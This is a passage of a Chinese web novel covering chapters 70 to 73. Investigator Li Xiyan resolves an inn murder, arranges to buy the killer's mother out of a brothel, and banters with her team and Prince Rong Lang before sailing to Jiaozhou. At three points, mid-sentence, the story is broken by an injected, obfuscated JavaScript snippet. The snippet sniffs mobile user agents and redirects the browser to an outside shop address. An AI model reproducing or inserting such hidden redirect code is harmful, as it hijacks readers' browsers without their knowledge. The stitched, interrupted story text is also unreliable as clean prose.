忽然,王佑年觉得有点儿不对劲儿。 “他偷那信干嘛?” 李希言转过身。 “这还要问他自己。” 戴三被几人齐齐盯着,咽了咽口水,说话都结巴了起来。 “我……我……是他们骗我。” 对这种人,越急越起反作用。 李希言尽量放缓语气:“你别急,慢慢说。先说那些人是什么时候找到你的?” “就罗耀和他吵架那日,我一出门,他们就和我搭上了话……” “他们怎么说的?” 戴三尽力回忆 “他们说,他们和那个禁军有仇,问我要不要和他们合作。他们的计划很好,只要我拿他的金刀杀人,所有的嫌疑都不在我身上。” 王佑年大喊:“老子惹你了?你要陷害我!” “没……没有……”戴三连连摆手,“他们说,你是禁军还是王家的人,不会有事的。” 李希言呵斥王佑年:“你少说话,自己持身不正!连加了迷药的东西都吃不出来,还有脸在这里喊叫!” 被吼了的王佑年只能闭上嘴。 戴三说道:“可是……可是……迷药不是下在饭菜里的。” “嗯?”李希言有些疑惑,“到底是怎么回事?你把他们的计划详细说一遍。” 戴三皱着眉,像是很头疼似的。 “他们先给了我一种迷药,说那药只需要撒在帕子上往人脸上一扑,就能够把人迷倒。之后我就按照他们说的去杀人,等杀完人后,我就把假的竹筒放在了联络的地方。” “联络的地方?在哪儿?” “就在客栈的地字三号房。” “找你的人有几个,长什么模样?” “两个,都是大胡子,看不清五官,但是都很高很壮,和……”戴三微微指了指容朗,“和他一样高,比他壮比他胖。” 王佑年越听越觉得不对劲儿。 “是有人故意?” “才发觉吗?”李希言看他眼里还有迷惑,给他解释,“你们早就被人盯上了。那些人就是看着你和罗耀起了冲突,就利用戴三借刀杀人,顺道盗走密信。” 难怪那几日破云察觉客栈有人鬼鬼祟祟,原来是冲着这几个禁军来的。 王佑年也不傻,一点就透。 “那些人是什么人?” “这你就不要管了。”李希言将密信拿出交还给他,“去送信,其余的事情我来处理。” 王佑年觉得手上的信有些烫手。 自己实在是太…… 唉! “来人,把戴三先带下去。”李希言还有单独的事情要嘱咐王佑年。 “等等!”戴三拽住了李希言的袖子。 容朗头发都炸起来了,一把扯开他:“别拉拉扯扯!” 装单纯! 李希言不是很在意,对着一脸祈求的戴三问道:“什么事?” “我阿娘……”戴三扑通跪了下来,“我在罗耀那里只找到了一百两银子,全拿走给我娘了,那些本来是我的钱,求求您……” 他抱着李希言的腿,哭得可怜。 “求您出面给我阿娘赎身。我都老实交代了,您得宽宏处置。” 李希言扶他起来,声音有些嘶哑:“我答应你。” 戴三一下笑了起来,脸上还挂着泪:“谢谢您!” 李希言心里很是沉重。 她宁愿面对穷凶极恶灭绝人性的凶手,而不是这样……因为环境而心智低下却良心未泯的凶手。 “喏。”容朗塞过去一张帕子,别开脸,“擦擦,脏死了。” 戴三笑嘻嘻地擦了泪:“谢谢。” “你母亲那边你放心,你自己……”李希言别过眼,“要听差役的话,到了京城,官员问话要问什么答什么。” 戴三连连点头:“我知道的。我杀了人做错了事要老老实实受惩罚的,这些话阿娘给我说过。” 差役已经站在了刑房门口,李希言背过身。 “带走吧。” “是。” 刑房内只剩下三人,李希言收拾好心情,开了口:“单独留下你,是有私事要对你说。” 王佑年愣了一下。 他们有啥私事可说? “薛夫人,薛伏清被杨利贞杀害了。” 薛夫人无品无级,被杀的消息不会很快到京城,王佑年自然是不知道的。 他此时听到这个消息已经被惊得说不出话。 “表姑母她……为什么?” 人人皆知,他们夫妻感情不错的…… 李希言将杨利贞杀妻之事原原本本说了一次。 “畜生!” 王佑年骂得咬牙切齿。 他虽然和表姑母不熟悉,但是也知道她是个极和善的人。 自己做了见不得人的事还敢杀人! “曾祖母一定得生大气。” 李希言就是怕原本的事实被扭曲,想让他把原本的消息带回去。 当然,嘴上不能这样说。 “你回去缓着些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14235330|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告诉你曾祖母,别气着了老人家。” “下官明白。”王佑年郑重行了一礼,“多谢李少使为我表姑母找出凶手。” 李希言扶住他:“路上小心。” 罗耀被杀案告破,被强制留在客栈里的客人都急不可待的收拾包袱走人。 包括被自己夫人扫地出门的沈坤。 他是被揪着耳朵接回家去的。 来福客栈一下冷清了下来。 容朗坐在窗前,享受着这片刻的宁静。 门忽然被敲了两下。 “李郎君?” 容朗恍然:“冯老板?请进。” 冯老板推门而入,手上还拿着一大包东西。 “您有什么事吗?” 冯老板将包袱放在桌上:“鄙人都听徐县尉说了,这次多亏二位留意,才抓到了凶手。这是我们叙永特产,自家晒的笋干,请您笑纳。不值钱的东西,就当是吃个新鲜。” 话都说到了这个份上,容朗再多推辞反而不美。 他拍了拍包袱:“那我也不和您假客气了。早就听说叙永的竹笋乃是一绝,没想到今日还能有这等口福。” “鄙人也是刚刚听见李娘子说二位要走水路才想起家里还有好些笋干。这东西二位可以带着到船上吃,拿水泡发后,炖鸡也好顿腊肉也好,都是安逸得很。免得坐船太久嘴巴没滋没味。” 容朗点点头又问道:“冯老板今后可有何打算?” “唉……”冯老板扭过头望了一眼空荡荡的大堂,“出了这样的事情,这门面怕也是要不得了,等过些时日我把这门面盘出去再换一个小些的。赚得少些也比现在好啊。” “也是。” 住客栈的人谁不忌讳出过命案的地方? 冯老板是个知足常乐的人。 “所幸,我家小儿越来越懂事,这次闹了这么大的事情,他倒是比原来还要懂事几分,如今连我那不讲理的岳父岳母都听他的话了!” 容朗挑了挑眉:“令郎本就是个聪慧孩子。” “哎呦!瞧我这记性。”冯老板拍了一下脑袋,“刚刚李娘子让我叫您过去呢,说是找您有事儿。” “找我……有事?”容朗嘴角翘得压都压不下去,大步流星地走了出去。 这可是姐姐第一次主动找他! 李希言坐在书桌前,放下了笔。 东风凌冽,墨迹很快就被吹干 她将信装好,放在案头,按了按酸痛的太阳穴。 趁着这个案子的东风,把事情办下来就很好。 笃笃。 门颤抖着响了两声。 “姐姐?” 是容朗的声音。 “进来吧。”她转过身,面对着门口。 容朗的脚步带着几分急迫,白洁如玉的脸上有些发红。 “姐姐,你找我什么事?” 上扬的语调让人觉得心情都好上了几分。 “等会儿陪我去个地方。” 容朗略略思索:“醉春楼?” “嗯,答应了戴三的事情总不好食言。” 案头的信有些显眼。 容朗注意到。 “这信是要给哥哥的吗?” “是。” 简短的回答后是片刻的思索。 李希言拿起信递给他:“你帮我参详参详。” 71. 相见欢 信上的内容是关于这次罗耀被杀案的。 里面向皇帝说明了凶手戴三的特殊情况——傻但是没有傻彻底。 接着就是关于她对于此案判罚的观点。 戴三虽痴钝,但是其程度远不到不通世事或是无法自控的地步,应该判以斩刑。 最后就是以此案引申而来关于律法中对于这种特殊情况的建议。 第一,所有无法自控且有伤人倾向的痴癫之人无论有没有犯罪都应该由其所属的家人严密管控,其所属之地负责管理的官吏也要提供一定的帮助。 第二,以罪犯的实际情况作为判罚标准。凶手本身的病情是否严重?作案时神智可清醒? 第三,涉及人命,不赦。 第四,利用痴癫之人作案之人,应该罪加一等。 “怎么样?” 容朗抬起头,粲然一笑:“姐姐,你说的很好啊。” “真的?”李希言放在膝盖上的手捏成了拳头,语气也隐含一份不确切,“陛下会同意吗?” “当然会啊!”容朗拍了一下自己的大腿,“你看看啊。你这第一条能够很好预防癫狂之人暴起伤人。第二条第三条更是合情合理,把什么情况都考虑进去。第四条就更好了,还在一定程度上保护了这些人因为心智不全而被利用。哥哥不仅会同意,肯定还会偷着乐自己手下有李少使这样能干的官员。” 李希言被他一通吹捧,搞得有些脸都有些烫。 “王爷玩笑了。” “我说真的呢。”容朗搬着凳子凑近了一点,“李少使要是个男儿,哪里有那些人的事。” 这话触到了李希言的心底。 若非她身份特殊再加上绣衣使一职也特殊,她这辈子也摸不到权力的一角。 “王爷这话要是让那些人听去了,定然是要气个半死。” “心胸狭隘的人就是爱生气~”容朗撇撇嘴,“他们也只能拿男女来说嘴了。” 毛茸茸的脑袋就在眼前晃来晃去。 李希言像是魔怔了一样,伸手摸了一把。 容朗就势蹭了蹭:“唔。” 动作自然得像是做过无数次一样。 好久没有被姐姐摸头了。 他扬起头,又蹭了蹭,眼里满是餍足。 双目相对。 李希言才反应过来自己做了什么,像是触电了一般收回了手。 她怎么…… 心跳声震耳欲聋。 容朗见她像是被吓到的模样,暗自叹了一口气。 “李少使。”他压下心里的苦涩,挤出一个轻松的笑,“我们是不是还要去醉春楼一趟?” 醉春楼。 因为还是白日,整座醉春楼都静悄悄的,安静地矗立着。 屋檐下,大红色的灯笼高高挂着,被风吹得一摇一晃。整座醉春楼的外部都是以红漆为装饰,在阳光的反射下有些刺眼。 大门上雕刻着繁复的花纹,涂着金灿灿的漆料,让人目眩。 李希言不轻不重叩了两下门。 “谁啊?大早上的还来逛青楼。” 里间传来的声音很粗犷,应该是青楼豢养的打手龟公。 李希言压着嗓子,声音低沉:“开门。” 青楼里的客人形形色色,什么人都有。 白天来的也不算少见。 看门的龟公耐着脾气打开了门。 “女的?”他表情凝固了一瞬间。 面前的一堆男女,穿得普普通通,看上去也就是普通人家。 可是这样貌气度…… 绝非凡人! 反正他是没见过哪个女子身上有面前这人的气势。 “小的瞎了眼。”龟公弓着身子,“二位是来找人?” 李希言直接走了进去,扫视了一眼四周。 摆满了大圆桌的大厅空荡荡的。 一楼二楼的门窗都紧闭着,安静得让人窒息。 龟公凑到二人面前。 “二位来找谁?小的这就去帮二位叫人去。” 李希言没有看他:“你们这里管事的人呢?” “哟~”一声做作尖利的女声传来。 迎面走来一个穿红着绿的中年妇人,浓妆艳抹,眼神透着一股子精明。 她眯着眼睛打量着二人。 不像来嫖的也不像来捉奸的。 倒是像…… 官府的人! 她收起了轻佻的笑意,动作都老实了不少。 “二位客人找我有什么事呀?” “戴三的母亲在你这里。”李希言的语气很肯定。 老鸨表情一变。 竟然知道戴三? 想到戴三的性子,她眼皮一跳。 “戴三惹事了?!” 李希言负手而立,“他母亲要赎身,我来接人。” “赎身?”老鸨眼珠子直转,“没听秋娘提起啊……” 鼻尖的脂粉味浓得呛鼻子。 容朗心中生出几分不耐。 “多话,快把人叫来!” 他黑脸的时候还挺吓人。 老鸨讪笑一声:“是,是。”她转头对着龟公吼了一声,“还不快去把秋娘叫来!” 龟公急忙应下。 等龟公一走,老鸨招呼着二人坐下,还颇为殷切地给二人倒上了茶。 “二位是戴三那孩子的朋友吗?” 李希言顿了顿:“是。” 老鸨心中疑惑更深,可见李希言的冷面,根本就不敢再问。 片刻后,龟公就带着一个面容姣好的中年妇人赶了过来。 妇人眉眼之间和戴三仿佛,尤其是那一双眼睛,简直是一模一样,唯一的不同就是这妇人浑身都是一股沉着之气。 她手上抱着一把琵琶,背上也背着一个小包袱,显然是早有准备。 李希言主动说道:“我姓李,是戴三的友人。他有事来不了,所以托我来接您。” 秋娘看了二人一眼,眼神不明,嘴上还是应了下来。 “那就麻烦二位了。”她说完摸出一张银票递给老鸨,“五十两赎身银子,我们说好的。” 老鸨犹豫了一二才接住。 “你在我这里也呆了这么多年了。”老鸨没有急着去拿卖身契,问道,“你真想好了要走?” 她悄悄用眼神瞟着背后的二人。 秋娘明白她的意思,温柔一笑:“戴三和我说过的,有个姓李的朋友。” 老鸨这才放了心:“那就好。我去给你拿卖身契。” 她揣好银票带着龟公向后走去。 人一离开,大堂只剩下三人在。 李希言起身走近,低声问道:“戴三提起过我?” 不可能啊…… 秋娘摇头:“没有,但是我知道您二位不是坏人。”她抿了抿嘴唇,“戴三呢?” 李希言早就有了应对的办法。 “我是绣衣司的人。戴三前段时间帮了绣衣司的大忙,如今已经被绣衣司纳入麾下,派往凉州做探子。今日来接你是准备送你去京城安置。” “你是……李少使?!”秋娘低声惊呼,不可置信地捂住了自己的嘴巴。 怎么又被认出来了? 李希言下意识摸了摸自己眉头的红痣。 “是。” 秋娘捂着自己心口:“您说的是真的?戴三他还能给绣衣司帮忙?” “我知道他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14244625|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情况。”李希言忽悠人的时候一套一套的,“既然用他,就有用他的理由。” “那……我能见见他吗?” “过几年吧。凉州事情紧急,他已经动身。” 容朗看见秋娘的样子,心生恻隐。 “日后有时间相见。” “也是。”秋娘傻笑了起来,“没想到我家戴三还能有这样的造化。” 正说话间,老鸨就拿着卖身契走了出来。 “喏,拿去。”她把卖身契往秋娘怀里一塞,“你命好,以后好好过日子。” 到底相识多年,也不是没有一点点情分。 秋娘语气也染上一份哀愁。 “你保重好身体,少喝酒。” 老鸨愣了一下大笑一声:“老娘都喝了一辈子的酒了,就是不陪客也改不了。” “该走了。”李希言的声音有些发闷。 她最不喜欢的就是青楼这样的地方,让她觉得无力。 “好啦好啦!”老鸨挥了挥帕子,一脸的不耐烦,“快走吧,都赎身了,还恋恋不舍呢!” 秋娘回头看了她一眼,随着二人走出了大门。 “先去县衙一趟,给你办脱籍,然后再办一份路引。”李希言说道。 秋娘点点头:“好。” 二人此时都没有心情说话,一路沉默着。 县衙离此处并不远。走了一刻钟就到了。 今日守在门口的是徐县尉。 他一见三人到来,就迎了上去。 “走吧,户房那里正好没人。” 李希言对着秋娘介绍道:“县衙的徐县尉。” 秋娘那双和戴三一模一样的眼睛弯了弯:“见过徐县尉。” 徐县尉几乎是不敢看她的,转过身:“嗯……走吧。” 他带着三人绕着小路去了户房。 户房确实没有多余的人在。 当值的小吏很快就把户籍路引办好。 拿着新户籍和路引。 秋娘激动得手都在发抖,脑子都是一片空白,不知道什么时候走到了门外。 今日是晴天,日光强烈。 她的眼睛被晃了一下,落下了两滴泪。 在她身后目光不能及之处,游廊的花窗后,一双和她相似的眼睛直直的望着她。 “娘……” 低低的呼叫无法传入秋娘的耳朵。 徐县尉走上前。 “夫人,我们该走了。” 秋娘有些慌张地看着一旁的李希言。 “他送您去我们的据点,我去太显眼。据点那边会有人带你离开。” 秋娘这才安心,朝着二人行了一礼。 “多谢二位大人。” 秋娘的背影在视线里消失。 李希言合上眼,深吸一口气。 就像是吃下一大口连麸面做的馒头,粗噶的一坨哽在喉头,咽不下去,吐不出来,还划着嗓子疼。 “姐姐。”容朗的声音就在耳边,如同一汪可以入口的清泉,“我们也该回去了。” “好烦。”她抱怨着。 这样熟悉的模样让容朗怔愣了一瞬,他扬唇一笑,轻轻碰了碰她的胳膊。 “什么好烦?” “风太大,天太冷,日头也不好,指使他的人也没抓到,刺客的身份也没有查到,还被害落了水……” 李希言一边走一遍发泄似的低语着。 容朗微微侧着头听着,时不时搭句话。 踏出县衙大门,二人往回走。 “李夫子!” “少使!” 几声满是欢喜的呼喊让李希言不由向前看去。 在路的尽头,他们已经到了。 72. 第 72 章 客栈。 一进屋,关风和就抱着李希言狠狠在她的脸上亲了几口。 “老天保佑,你没事!” 动作之快,让一开始就被阻隔在后面的容朗红了眼睛。 李希言十分无奈地推开她。 一大堆人都在呢! 房内被塞得满满的。 钟力哭得最厉害:“少使,我们当时都吓死了,你怎么……”他打了个洪亮的嗝。 “这不没事?”李希言踮起脚拍拍他的头,对他安抚一笑,“我好端端站在这里。” “嗯……”钟力吸了吸鼻子。 苗青倒是淡定些,只急切问道:“您可有伤着哪里?” “没有,都是些皮外伤。” 卫川直言:“你说的皮外伤一般都是伤得很重的意思。” 所有人齐刷刷看了过来。 说的没错! 张锦挤到前面:“这落水最伤身了,如今又是冬日,这寒气入体可了不得。这几日您得好好补一补,免得以后岁数大了才遭罪。” “说得对!”瑞王也挤了过来,“李夫子的话可不能信,她肯定伤得很重。” 李希言气短,指着容朗:“不信你们问他?” 叽叽喳喳的声音一下消失了。 绣衣使们的面色都有些怪异。 卫川更是以一种含着极其明显防备的眼神看着他。 苗青搓了搓额头。 他可什么都没说啊。 自己做得太明显,都拼死相救了,傻子才没反应过来。 “王爷要说实话!”关风和打了个哈哈,“可不能骗我们。” 气氛一松。 在众人“如狼似虎”的眼神聚集下,容朗如实相告:“李少使最开始有些发热,但是早就大好了,诸位不必担心。” 他擦了擦额角的细汗。 怎么有一种在被审的感觉? “哦!对了!”瑞王一副此时才想起自家小叔叔的样子,“小叔叔,你呢?你没事吧?” 张锦有些尴尬。 哎呦,还真忘了自家小主子…… 他堆着笑脸:“您没受寒吧?” “我没事。”容朗敲了一下瑞王的脑袋,“这时候才想起我啊?” 瑞王摸着头:“我当然更担心李夫子啦,她当时可是昏迷的,你又好好的。不过,说来还真是多亏你不要命地下水,不然……” 苗青咳了两声,打断了瑞王的絮叨。 这个小殿下是知道还是不知道啊? 他想法有些阴暗。 不会是故意装作不知道,然后为长乐王博好感吧? 真心机! “真心机”的瑞王歪着脑袋看了过来:“苗校尉,你风寒啦?喉咙不舒服?要不要去找大夫瞧瞧。” 苗青面色一僵。 这是在阴阳我吧?是在阴阳我吧…… 瑞王看他面色不好,关切道:“真没事儿吗?” “你瞎管别人做什么!”容朗哪里不明白苗青的异常,只好祸水东引,“你李夫子还挂着你的功课呢?这几日可有落下?” 出乎意料的是,向来贪玩的瑞王这一次挺直了脊背:“一点点都没有落下!” 李希言有些意外,朝着张锦问道:“张公公,小殿下说的是真的吗?” “是真的。”张锦一脸欣慰,“小殿下长大了。他一边哭着一边说自己可不能辜负李夫子,即使那日刚到泸州,他都没有落下一个字儿的课业呢!” 李希言不由露出一个笑。 “那倒还算值得。” 瑞王害羞地低下头:“我才没说那样的话呢~” “声音都哭哑了的人肯定不是小殿下。”积累了怨气的卫川趁机开口。 “你!”瑞王窘迫地不行,开始揭他的底,“你还不是急得一口饭都没吃!脸都小了一圈儿。” 卫川脸皮何等厚。 “担心上司是我做下属的本分。至于瘦了这件事……小殿下还不知道是为什么吗?” 二人这次形影不离,关系倒是近了一步,直接斗起了嘴。 “停!”李希言敲了一下桌子,“闹得人头疼。” 关风和一听她头疼就急了:“头疼?是因为受寒了吗?” 李希言哭笑不得:“怎么会?被这俩人闹的。” 二人乖乖闭了嘴。 “好了。刚好你们都在。”李希言正色道,“说一说,这次船只被袭究竟是怎么回事。” “是!”关风和抱拳,“根据那些船工所言,当晚,他们正在各司其职的时候,忽然窜上来几个黑衣人。他们当时想要预警,却被那些黑衣人拿了个帕子往脸上一扑,就昏迷了过去。等他们醒来的时候,船已经沉了。那些死了的刺客被我们捞上了两具尸体,和之前在苏州遇见的一样,尸体溃烂,线索全部断掉。至于那些刺客的来处,还是和之前苏州的漕帮有关系。” “那些船工可有死难?” “死了三个,其余有些伤。” 李希言脸色很沉:“多给些抚恤,若是家中子女出息,可接到绣衣司中做事。那些伤了的也多给些赔偿。” “是!” “再叫个人去县衙找关在牢里的戴三画两幅人像。” “人像?” 李希言没有解释,只大致说道:“居心叵测之人。你们这次也辛苦了。”她的声音安定而有力,“回去休息一日,明日晚上登船,去交州。” 当晚,众人歇在了来福客栈里。 冯老板很是激动。 这都多久没生意了,总算是有了些人气! 心情好的结果就是他的厨艺也超常发挥,吃得每个人肚子都圆滚滚的。 瑞王砸着嘴:“冯老板,您这手艺也太好了。难怪我小叔叔和李夫子都没瘦!” “小叔叔?”冯老板有些迷惑,“您叫李郎君小叔叔,怎么会叫李娘子为夫子呢?” 屋内的炭火很旺,瑞王迷迷糊糊的。 “不叫李夫子叫啥?难道叫小婶婶吗?” 现场骤然一静。 隔壁桌的苗青把筷子重重放下。 我觉得他就是故意的。 冯老板哈哈一笑:“小郎君真风趣,你当然应该叫她小姑啊!” 李希言解围道:“这孩子打小功课就是我在监督,所以才这样乱喊。” “是这样啊!”冯老板笑道,“贵府定然是和睦极了。” 李希言假笑。 “家中确实和睦。” 我才没先帝那种渣爹呢。 “哎呦!我的蒸肉到时辰了!”冯老板慌慌张张往后厨跑。 掀起的门帘,灌进一股冷风,瑞王这才清醒了些。 “他为啥让我叫李夫子小姑啊?” 容朗毫不忌讳:“我和李夫子以姐弟相称。”他用肩膀碰了一下李希言,“对吧,姐姐?” “嘶——” 绣衣使们的目光都锁定了过来。 李希言忍住瞪他的冲动:“权宜之计。” “李郎君。”关风和忽然站起,冲着容朗笑得杀气腾腾,“听说您武功不错?” 容朗打死也不会在李希言面前示弱。 他一脸的云淡风轻:“尚可。” “比划比划?”关风和眯眼笑。 “好啊。”容朗站起,和她对峙着。 二人的眼神如同刀剑相交,杀意四起。 关风和抬手一引:“请。” 破皇子!敢肖想她家少使! 容朗阔步走出大门,站在门口的空地上,摆出起手姿势。 破流氓!敢亲姐姐! 第二日一早,李希言慢悠悠起了身,下了楼去用早饭。 绣衣使们已经坐满了整个大堂,但是却都沉默得可怕,只听得到筷子和碗接触的发出轻轻的敲击声。 气氛十分压抑,连平常最多话的卫川都埋着脑袋吃面。 倒是最少话的李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14253892|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 希言主动开口:“怎么都跟霜打了的茄子似的?” 苗青目含泪光:“没事的,没事的。我们只是……” 他说不出口…… 昨晚,他们一群人车轮战都没打赢那个“心怀鬼胎”的长乐王! 最重要的是,那个长乐王连兵器都没拿!!! 丢人,太丢人了! 李希言昨晚睡得早,也不知道发生了什么,此时只觉得迷茫得很。 “少使……”钟力吸溜了一口面条,“你觉得我武功怎么样啊?” “还行。”李希言一本正经地回答道,“虽然失于灵巧但是一力降十会。” 钟力的眼里重新燃起了光。 李希言总算明白了这是怎么回事。 “他师从观空大师,你们和他比自然是……”她顿了一下,“稍逊一筹。” 卫川幽幽地说道:“不止一筹……” “只是你啊,不要拉我下水。”关风和立即撇清关系。 卫川阴阳怪气:“请个客都拖了半年的人就不要说话了。” “请客?”容朗带着瑞王走了下来,“什么请客?” 他很是自然地坐在了关风和与李希言中间的位置上。 关风和自认脸皮没有他厚,只能挪开。 什么人啊! 卫川回答道:“在沧州的时候她就说要请客,到现在连一杯酒都没喝到她的!真是抠门极了。” “你闭嘴吧啊!”关风和转过身打了他一下,“马上请!刚好快冬至了,请你们吃饺子。” 钟力弱弱地说道:“冬至不是要吃汤圆吗?” “吃饺子好不好?谁家冬至吃汤圆啊?”卫川反驳。 另外几个绣衣使也反对:“冬至就是吃汤圆!” “吃饺子!”卫川说了句俗语,“冬至不端饺子碗,冻掉耳朵没人管。没听说过吗?” “大冬似大年!不吃汤圆怎么算添岁!” 一伙人分成两派吵得火热。 却似乎还有不嫌事大的声音冒了出来。 “冬至……”出来送饭的冯老板一脸懵,“不是该吃羊肉么?” 总算有人和自己一派。 苗青扯着嗓子:“就是就是!入乡随俗!在蜀地就按蜀地的规矩来。” “不要!”卫川拍桌,“就要吃饺子!” 气氛逐渐焦灼。 李希言终于开口调停,用四个字化解了矛盾。 “羊肉更贵。” 卫川一下坐了下去:“那就吃羊肉。” 一群人恢复安宁,关风和一下不乐意了。 “诶?你们这些人咋回事儿?一听羊肉贵就点头了?” 李希言按住她,对着冯老板问道:“不知蜀地这边儿这羊肉是个什么吃法?” “羊肉汤!”冯老板搓搓手,“我做这个一绝,各位今晚就在小店吃吧!” “爹。”在后面帮忙的冯小郎探出脑袋,“你忘啦,客人们等会儿就要离店。” 冯老板表情一下变得艰涩起来:“还真是忘了。” “爹。”冯小郎走过来,扬起笑脸,“你不是说要给客人们露一手吗?去弄点儿羊肉汤的香料包吧?” 冯老板这才想起来,急忙往后厨跑。 其实,李希言心里也有点儿发酸,她朝着冯小郎招手。 冯小郎小跑着过来:“李姐姐有什么事吗?” 李希言压低了声音:“以后有什么事处理不了的,去找徐县尉。” “徐县尉?”冯小郎恍惚了一下,咧嘴笑了,“我明白了,就说是您让我去找他的。” “聪明孩子。”李希言摸了摸他的头,动作十分温柔。 一旁的瑞王咬着勺子。 从来都没有这样对过他! 容朗一眼看穿他的心思。 “你多招人烦啊。” 瑞王呆住:“小叔叔,你怎么这样?” “我说错了吗?”容朗耸耸肩。 73. 第六案:侯府灭门案 夜幕将垂,翻腾的云雾掩盖住了不远处的叙永县。 这座被云雾笼罩着的小城在视线中,渐行渐远。 东风刮起水上的雾,脸上无端端被扑了一脸小水珠,风一吹,更冷了,冷得人打哆嗦。 一股暖和得发烫的热气忽然罩了下来,李希言抖了一下,转过头。 “李少使。” 容朗又换回了原来的称呼,可是听着还是让人脸上发烫。 “就算这儿没京城冷,也不能在这里吹凉风啊,” 李希言垂眼看着披在自己身上的披风。 长短正合适。 “在想什么呢?不说话?”容朗歪着脑袋,凑到她面前。 李希言睫毛颤了颤:“迷药。” “你也想到了?”容朗眯着眼,“迷药一般分为两种。吸入和口服。但是不管是哪一种,都不会那么迅速的致人昏迷。至少,我没有见过这种迷药。” “刺杀瑞王的人和偷盗密信的人是一拨人。还有那些刺客的死。” 奇特的毒药和迷药…… “绣衣司查了,没有任何头绪。”李希言看着前方灰黑色的云雾,表情很是沉重。 不能再这样被动下去了,她总感觉自己被一双手摆弄着…… 容朗语气轻松:“总是和五王之乱的旧人脱不开关系。” “五王之乱牵连的人众多,一个个查起怕是要用个好几年的时间。”李希言看着他,在等着他的回复。 她确实“居心不良”,算计着套他的话。 “等渤海王的儿子招了就好了。还没来得及跟你说呢,前几日,徐令诚来的信。这人确实厉害,竟然抓到了那人的孩子。” 这双眼睛似乎能够一眼看见底。 李希言心底生出一分羞愧。 “是个好消息。” 容朗猜得到她的心思,直接说道:“其实李少使关心此事可以直接问,我对你知无不言。” 太过直白的话让李希言沉默了。 “好了。我说这话又不是需要你回复我什么。”容朗又靠近了些。二人的肩膀几乎要靠在一起,“其实哥哥呢,是肯定不会真把渤海王的孙子给杀了,最多威胁威胁。不过,那些人肯定是不敢相信的。” “陛下仁德。” “当年之事本就是……说不清。死了那么多人,就是株连也株连够了。更何况,渤海王……还算是我们亲叔叔呢。” “咳咳!”苗青做作的咳嗽声响起。 二人被吓得一个激灵,反而贴得更近了。 容朗捂着胸口,一脸心有余悸的模样:“吓我一跳。” 苗青震惊地瞪大了眼。 装什么啊! “什么事?”李希言皱了皱眉。 苗青气结。 这是什么表情?难道我还能吓得到这个一拳头能轰开钟力的男人?原来还没发现…… 他低着头闭上眼。 “羊肉汤好了,关姐让属下来叫人。” 等二人走到正厅内的时候,现场已经一片火热。 瑞王一瞧见二人就兴奋地招着手,还拍了拍自己身边的两个座位。 “快来!坐这儿!” 李希言走到他的右手边坐下,一边挨着关风和。 全场就只剩下瑞王左手边的位置。 关风和用余光瞟着。 很好,完美隔开了他。 然而,她根本没有料到容朗的脸皮厚度。 容朗就这样直挺挺地站在瑞王跟前,定定地看着他。 “嗯?”瑞王不明所以,拍了一下空位,“坐啊。” 容朗面色不改,点了一下他的肩膀:“你,坐这边。” 瑞王不由坐了过去,嘴巴还是不饶人。 “好好的,换啥位置,真是搞不懂。” 卫川看了一眼毫无所觉的李希言,急忙说道:“主要是少使特别烦您,不爱和您坐一块儿。” 他一定要阻止这个长乐王把窗户纸戳破! 关风和赞许地朝着他点点头。 她大手一挥:“开饭啊!都别客气。” 羊肉汤奶白奶白的,还冒着腾腾热气,上前洒满了绿绿的菜叶,清香解腻。 众人都动了筷。 味道确实很好,吃下去还让人觉得浑身暖融融的。 李希言吃了几口,都脱掉了披风。 “少使。咱们这次去交州要去一趟安南都护府吗?” “不用。都护府那边没什么大事。主要还是要去平南侯侯府。” 关风和摸了摸鼻子:“要搞他们?” “你这么说得……”李希言无言,“说得这么不好听。” “哈。平南侯那家子破事儿一堆,还需要咱们亲自去动手?” “到底是勋贵人家,在交州盘踞已久,一时之间找不到大的错处也是不好动手的。” 关风和忽然扯起了嘴角,笑得非常邪恶。 “王爷也和我们一起去吗?” 正在专心给李希言夹菜的容朗动作一顿。 “自然。” “啧啧。”关风和砸着嘴,“就怕王爷到时候舍不得呢~” “舍不得什么?”容朗放下筷子,“关校尉这是何意?” 关风和一脸似笑非笑的表情:“京城里的人都说王爷和平南侯家的小姐……” “不认识。”容朗急忙瞟了一眼李希言,拂了拂袖子,语气坚定,“无稽之谈!” “这个我作证啊!”瑞王飞快咽下嘴里的羊肉汤,举起手,“我小叔叔之前还闹着要当和尚呢,怎么会和哪家的小姐有牵扯?而且平南侯家的那个家教……” 他煞有介事的摇着头,一脸鄙夷。 容朗被他一番话说得心是落下又提起。 解释就解释提什么当和尚的事! 卫川大着胆子,趁机揶揄:“说来王爷这头发长得还挺快啊。” “啥呀。”瑞王再次挡在了前面,“没长多长,当时他就剃了一块儿,短头发都束起来藏在发冠里呢。” 